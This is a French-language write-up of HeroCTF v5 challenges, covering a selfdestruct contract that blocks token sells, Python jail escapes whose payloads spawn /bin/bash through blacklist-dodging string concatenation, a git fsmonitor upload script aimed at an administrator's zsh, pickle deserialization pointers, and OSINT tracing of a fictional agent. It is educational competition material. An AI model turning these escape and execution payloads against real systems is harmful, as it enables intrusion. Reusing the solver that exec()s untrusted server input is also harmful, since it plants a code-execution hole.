Hero Ctf V5

10 minute read

Intro

Hello voici de courts writeup du HeroCTF v5, histoire de garder une trace !

Un premier merci à ma team, owalid, kibatche, Perle et Sawyerf !

Blockchain

Challenge 01 : Classic one tbh (489)

ERC20, bad guy has money in it, prevent him from getting his money back.
This is a standalone ERC20, not available on a swap.
Block all the sells to get the flag
 1pragma solidity 0.8.17;
 2
 3contract  hero2303
 4 {
 5    mapping (address => uint256) private userBalances;
 6
 7    uint256 public constant TOKEN_PRICE = 1 ether;
 8    string public constant name = "UNDIVTOK";
 9    string public constant symbol = "UDK";
10    
11    uint8 public constant decimals = 0;
12
13    uint256 public totalSupply;
14
15    function buy(uint256 _amount) external payable {
16        require(
17            msg.value == _amount * TOKEN_PRICE, 
18            "Ether submitted and Token amount to buy mismatch"
19        );
20
21        userBalances[msg.sender] += _amount;
22        totalSupply += _amount;
23    }
24
25    function sell(uint256 _amount) external {
26        require(userBalances[msg.sender] >= _amount, "Insufficient balance");
27
28        userBalances[msg.sender] -= _amount;
29        totalSupply -= _amount;
30
31        (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
32        require(success, "Failed to send Ether");
33
34        assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
35    }
36
37    function transfer(address _to, uint256 _amount) external {
38        require(_to != address(0), "_to address is not valid");
39        require(userBalances[msg.sender] >= _amount, "Insufficient balance");
40        
41        userBalances[msg.sender] -= _amount;
42        userBalances[_to] += _amount;
43    }
44
45    function getEtherBalance() public view returns (uint256) {
46        return address(this).balance;
47    }
48
49    function getUserBalance(address _user) external view returns (uint256) {
50        return userBalances[_user];
51    }
52}

Après avoir compris le concept d’ERC20 ainsi que le but du challenge (empêcher tout appelle de la fonction sell()), la façon de procéder venait d’elle même, faire en sorte qu’un des assert / require de la fonction sell() soit faux afin d’empêcher toute éxecution de ladite fonction.

Grâce au niveau 7 d’ethernaut on sait que l’on peut forcer l’envoie d’ether via un selfdestruct() d’un contrat avec en paramètre l’addresse qui recevra tous les ether actuellement présent sur le contrat.

Si on force un envoie d’ether sur le contrat, cela rendrait donc la condition getEtherBalance() == totalSupply * TOKEN_PRICE) fausse (car totalSupply resterait inchangé) et empêcherait toute utilisation futur de la fonction sell().

1contract Exploit {
2    address payable addr;
3
4    constructor(address payable a) payable {
5        selfdestruct(a);
6    }
7}

Il suffit de déployer ce contrat avec des ether et passer en parametre l’addresse de l’ERC20.

Exploitation avec remix: remix example

ps: le checker ne fonctionnait pas et le contrat à pwn devait avoir une valeur decimal non nul d’ether pour obtenir le flag.

Hero{S4m3_aS_USU4L_bUT_S3eN_IRL??!}

The arrest (494)

In the dim-lit confines of his room, a lone figure hunched over a computer screen. Known online as 'Swissy', he was one of the most notorious ransomware operators worldwide.
From his small apartment in a forgotten corner of Moscow, Swissy had wreaked havoc on the digital world, crippling entire industries with his ransomware attacks.
But tonight, his reign of terror ended abruptly. A sudden knock echoed through the room, followed by the splintering of the door as Russian FSB agents stormed in.
Swissy was arrested, but the real challenge was only beginning - tracing the syndicate behind him.
Find the address who funded the ransomware operator (0xf6c0513FA09189Bf08e1329E44A86dC85a37c176)

Objectif: trouver l’addresse qui à financé le ransomware operator.

Comme il n’y a pas d’explorateur de block, on récupère toutes les transactions depuis le début de la chaine avec un script python.

 1from web3 import Web3
 2from web3.middleware import geth_poa_middleware
 3
 4w3 = Web3(Web3.HTTPProvider("http://62.171.185.249:8502/"))
 5w3.middleware_onion.inject(geth_poa_middleware, layer=0)
 6
 7for i in range(429, 1057):
 8        print(f"Block numbee {i}")
 9        for transaction in w3.eth.getBlock(i, full_transactions=True)['transactions']:
10                #if transaction['to'] == '0xf6c0513FA09189Bf08e1329E44A86dC85a37c176':
11                print(transaction)

(la range ici récupère uniquement les transactions utiles pour le chall 0 de l’osint blockchain, mais il a fallut observer tous les blocs pour trouver cette range)

Il nous suffit ensuite de grep (insensitive) dans l’output et rechercher l’addr de l’énnoncé, il ne nous reste qu’une seul transaction.

AttributeDict({'blockHash': HexBytes('0x18b1595ff23477074b4acf370bd8552db6e5fa638af144a833f345b3303a9c7d'), 'blockNumber': 928, 'from': '0x54741632BE9F6E805b64c3B31f3e052e1eAe73e2', 'gas': 21000, 'gasPrice': 42, 'hash': HexBytes('0x49c97be4a735e88a34ea6b0f4f7ca2e86dee67d1b472214b7cf4c703ffdd3c9e'), 'input': '0x', 'nonce': 0, 'to': '0xf6c0513FA09189Bf08e1329E44A86dC85a37c176', 'transactionIndex': 1, 'value': 7892772282257845895, 'type': '0x0', 'chainId': '0x539', 'v': 2709, 'r': HexBytes('0x05e0ff5174bd9a20b950e55129d42ad006fdeb10362f9fe1e9409d293215abfc'), 's': HexBytes('0x0a00ed76a186f829edc75aa149bb37a390083d1f630b1ae9f7e524574e06d14a')})

Il suffit de regarder l’addr qui a envoyé ces ethers.

'from': '0x54741632BE9F6E805b64c3B31f3e052e1eAe73e2'

Hero{0x54741632BE9F6E805b64c3B31f3e052e1eAe73e2}

Misc

Pyjail (50)

Welcome in jail. If it's not your first time, you should be out quickly. If it is your first rodeo, people have escape before you... I'm sure you'll be fine.

Si la jail n’est pas sur root-me elle reste néanmoins plus simple que celles présentent dessus…

>> print
La fonction print est présente (pas d’erreur en tapant print)
>> print.__self__
Permet de récupérer les builtins (__self__ contient la class/module qui a instancié l’objet (en l’occurence les builtins))
>> print.__self__.__import__
Récupére import
>> print.__self__.__import__("os").system("/bin/bash")
Import le module os et execute /bin/bash

ps: cat pyjail.py de souvenir, le flag est dedans :p

Hero{nooooo_y0u_3sc4p3d!!}

Pygulag (484)

You've escaped from jail. But you're not the smartest guy out there, and got caught again. This time, you were sent to the gulag. Good luck escaping that one...

If you're stuck, look in the past, it might hold some ideas.

NB: The pyjail is running on python3

Cette jail est plus ou moins la même qu’avant mais avec certaines restrictions en plus, notament (et surtout) une liste noire (récupéré après exploitation)

filtered = ["import", "os", "sys", "eval", "exec", "__builtins__", "__globals__", "__getattribute__", "__dict__", "__base__", "__class__", "__subclasses__", "dir", "help", "exit", "open", "read", "jail()", "main()", "replace", "="]

Pas de import ni d’os, pas sys (system).

  • On contourne les appelles aux methodes/objets banni en récuperant gettatr dans les builtins via print.__self__.getattr

  • On contourne les mots bannis avec des concaténations de string ex: '__imp'+'ort__'

>> print
La fonction print est présente (pas d’erreur en tapant print)

>> print.__self__
Permet de récupérer les builtins

>> print.__self__.getattr(print.__self__, '__imp'+'ort__')
Récupére import

>> print.__self__.getattr(print.__self__, '__imp'+'ort__')("o"+"s") Récupère le module os

>> print.__self__.getattr(print.__self__.getattr(print.__self__, '__imp'+'ort__')("o"+"s"), "sy"+"s"+"tem")
Récupère la fonction system du module os

>> print.__self__.getattr(print.__self__.getattr(print.__self__, '__imp'+'ort__')("o"+"s"), "sy"+"s"+"tem")("/bin/bash")
Appelle /bin/sh

ps: le flag est gen via une fonction présente dans le code source de la jail.

Hero{490ceb5ad04e8e33367bc0e748898210}

Erlify (409)

I've made a simple API to compile erlang program, but I don't run it so.. I'm safe ?

If you found a vulnerability, try to leak /flag.txt (don't forget to add Hero{} around the flag you've found)

Erlang, comme pratiquement tous les langages informatique permet d’inclure un autre fichier, on inclut le fichier qui contient le flag et ggwp

https://stackoverflow.com/questions/62911793/how-to-import-erlang-files-from-other-erlang-files

erlify flag

Hero{Erl4ngC4nL34kAtC0mp1l3T1m3}

I_Use_zsh_BTW (498)

A new platform to temporaly store your file has open !

However, it seems that the administrator often goes into the anonymous folders (from an SSH access) of people to see what they upload, you have to stop that! Take control of the server.

PS: The application is using JSON to receive data

Il y a quelques semaines synacktiv avait tweet ceci:

Il “suffisait” de trouver le replay du rump et d’implementer l’exploit (tl;dr ohmyzsh et son plugin git lit le fichier .git/config et utilise le binaire de la variable fsmonitor comme binaire de diff)

(il fallait aussi comprendre comment fonctionnait l’api)

 1import requests
 2from http.cookies import SimpleCookie
 3import os
 4import pathlib
 5import base64
 6
 7os.chdir('exploit')
 8
 9ip = "dyn-03.heroctf.fr"
10port = 13745
11url = f"http://{ip}:{port}"
12
13creds = {"username": "avan", "password": "avan"}
14
15s = requests.Session()
16res = s.post(f"{url}/login", json=creds)
17workspace = res.json()['data'].replace('User connected ! You can upload your file now to your workspace : ', '')
18for file in list(pathlib.Path("./").rglob("*")):
19        if file.is_dir():
20                res = s.post(f"{url}/{workspace}/new", auth=("avan", "avan"), json={
21                        "folder": f"{file.parent.as_posix()}/{file.name}"
22                })
23                print(res.text)
24        else:
25                res = s.post(f"{url}/upload", auth=("avan", "avan"), json={
26                                "file": base64.b64encode(file.open().read().encode()).decode(),
27                                "filename": file.name,
28                                "folder": file.parent.as_posix()
29                        })
30                print(res.text)
+

zsh solution a faire en +

zsh solution a faire en +

Hero{rc3_w1th_3v1l_fsm0n1t0r_!!}

Irreductible (499)

A Python deserialization challenge ? Easy ! I'll just copy-paste a generic payload and ... oh, oh no.
 1#!/usr/bin/env python3
 2import pickle
 3import pickletools
 4
 5# Due to the REDUCE's dangerous nature using it isn't permitted
 6def hacking_attempt(m):
 7    for opcode, arg, pos in pickletools.genops(m):
 8        if opcode.code == pickle.REDUCE.decode():
 9            return True
10    return False
11
12m = bytes.fromhex(input('🥒 : '))
13
14if not hacking_attempt(m):
15    pickle.loads(m)

Impossible donc d’utiliser reduce comme la plupart des exploits en ligne.

En cherchant le challenge stegano Annoucement, on est tombé sur le site web, d’un des créateurs du ctf (et du chall).
Avec un article qui explique exactement quoi faire, mais qui redirigeait vers un rick roll.

wayback machine à la rescousse !!!

https://web.archive.org/web/20230321110952/https://heartathack.club/blog/pickle-RCE-without-reduce

(allez lire l’article, il répondra bien mieux à vos questions que moi !)

irreductible

Hero{Ins3cur3_d3s3ri4liz4tion_tickl3s_my_pickl3}

OSINT

OpenPirate (50)

A pirate runs a website that sells counterfeit goods, it is available under the name `heroctf.pirate`. However, we can't get our hands on it, can you help us? Your goal is to find a way to access this website.

En cherchant .pirate tld sur google on tombe sur opennic, un service offrant des tld non traditionnel ainsi que des serveurs dns allant avec.

On change nos dns pour ceux d’opennic (/etc/resolv.conf) et on accède à heroctf.pirate

ps: le site est down donc pas de screen.

Hero{OpenNIC_is_free!!!3586105739}

Hero agency 1/4 (261)

As an special agent of the Hero Agency, you have received an urgent message through a brain implant device. Your mission is to use OSINT techniques to gather information and brilliantly solve the mission. The clock is ticking, so use your skills wisely and act quickly to prevent any harm from coming to innocent lives. Good luck!

What is the identity of the missing agent?

Après avoir cherché un sacré temps, et encore une fois en cherchant la solution de Annoucement, nous sommes allé voir le github, et avons vu plusieurs commit récent sur le site web.

github avec les commits saragora

Et puis sur leur site...

site web heroctf section about

Hero{SuperSaragora}

Hero Agency 2/4 (349)

On which street the agent was kidnapped?

Vu qu’on avait les commits github, on est allé les voir :), et avons obtenu son nom.

site web heroctf section about

Après avoir cherché des heures dans cette direction, on est revenu à son pseudo (on avait try sherlock, whatsmyname and co mais rien).
On a finalement obtenu un site bien bresson http://blackbird-osint.herokuapp.com/ qui nous a obtenu son instagram
Dans son instagram, on trouvait un lien vers une course strava (sa course, et donc son compte)

Sur son compte strava, la dernière course est intrigante, elle s’arrête brutalement après un “sprint” sur 250m à ~60km/h, le kidnapping ?

sprint strava

La courbe de vitesse monte en flèche à l’arrivée sur rue de la Coutume.

sprint strava

Hero{Coutume}

Hero Agency 3/4 (457)

What kind of evidence was left behind by the thugs on the kidnapping spot?

Avec APT42 on avait organisé un ctf osint en décembre dernier et on avait proposé le même type d’épreuve voir ici.

On récupère les données gps approximatives du lieu de l’enlevement: 47.6606468,-2.7578013

On recherche tous les tweets fait à - d'1km
geocode:47.6606468,-2.7578013,1km

dork twitter

Hero{itinerary}

Hero Agency 4/4 (465)

Where is the agent relaxed? Be accurate!

Perle et Owalid ont fait la majorité du travail sur cette épreuve.

Pour résumer, nous avons d’abord chercher un donjon à - d'1km5 du lieu du kidnaping mais le You will be on the road for 30min nous laissait sceptique

Nous avons donc cherché les dongeons dans les environs de vannes et sommes tombé sur ce lieu

largoet google

Avec ce site web expliquant l’histoire du chateau et notament de sa tour

largoet tour

Hero{garde-robe}

System

Chm0d (50)

Catch-22: a problematic situation for which the only solution is denied by a circumstance inherent in the problem.

Credentials: user:password123

Le propriétaire du fichier contenant le flag est notre utilisateur mais possède comme permission 000, chmod ne possède pas le bit d’execution, il n’y a pas python ou autre. Il suffit de créer un binaire qui va syscall chmod sur le flag pour le rendre lisible pour son possesseur (nous).

1#include <sys/stat.h>
2
3int main(void)
4{
5        chmod("/flag.txt", S_IRUSR);
6}

Hero{chmod_1337_would_have_been_easier}

Prog

Math Trap (50)

In this challenge, you have to make a few simple calculations for me, but pretty quickely. Maybe the pwntools python library will help you ?

PS: control your inputs.

Il fallait résoudre des calculs mathématiques rapidement.

Oui mon script est naze, mais bon je me suis pas fait pwn :)

 1from pwn import *
 2
 3s = connect("static-01.heroctf.fr", 8000)
 4
 5s.recvuntil(b'Can you calculate these for me ?\n\n')
 6
 7while True:
 8        calculus = s.recv()
 9        calculus = calculus[:-2].decode('utf-8')
10
11        calculus = calculus.replace('\n', '')
12
13        calculus = f"response = {calculus}"
14        exec(calculus)
15        s.send(f"{str(response)}\n".encode())

math trap

Hero{E4sy_ch4ll3ng3_bu7_tr4pp3d}

Conclusion

Encore un énorme GG à ma team ctf, owalid, kibatche, Perle et Sawyerf, on s’est bien marré !

On obtient une 12ème place en tant qu’APTduoquadra plus que mérité !